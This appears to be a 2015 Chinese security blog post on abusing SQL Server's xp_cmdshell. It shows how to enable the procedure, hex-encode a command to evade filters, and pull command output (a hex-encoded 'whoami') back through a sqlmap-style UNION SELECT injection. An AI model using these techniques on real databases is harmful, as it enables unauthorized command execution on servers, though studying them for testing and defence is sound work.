MSSQL-xp_cmdshell 的利用

eT48_Sec發表於2015-01-08

一.關於xp_cmdshell

xp_cmdshell是用於執行Windows命令的一個擴充套件儲存過程。

xp_cmdshell 生成的 Windows 程式與 SQL Server 服務帳戶具有相同的安全許可權。

 自SQL Server 2000後,預設情況下,xp_cmdshell 選項在新安裝的軟體上處於禁用狀態,但是可以執行 sp_configure 系統儲存過程來啟用它。

二.xp_cmdshell的語法

xp_cmdshell { 'command_string' } [ , no_output ]

'command_string' 包含要傳遞到作業系統的命令字串。command_string 的資料型別為 varchar(8000) 或 nvarchar(4000),無預設值。command_string 不能包含一對以上的雙引號。如果 command_string 中引用的檔案路徑或程式名中存在空格,則需要使用一對引號。

no_output可選引數,指定不應向客戶端返回任何輸出。

三.啟用xp_cmdshell

-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO

四.xp_cmdshell的利用

1.將要執行的命令先進行十六進位制轉換然後儲存到變數中,最後再執行。

declare @shellcode varchar(600);set @shellcode=0x48inputyourpayload;exec master..xp_cmdshell @shellcode

2.將命令執行結果輸出到檔案中

DECLARE @cmd sysname, @var sysname
SET @var = 'dir/p'
SET @cmd = @var + ' > dir_out.txt'
EXEC master..xp_cmdshell @cmd
3.將命令執行結果輸出到臨時表中

CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))
DECLARE @ugye VARCHAR(8000);SET @ugye=0x77686f616d69;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @ugye
union select null,null,data from sqlmapoutput where id = 1
DROP TABLE sqlmapoutput






相關文章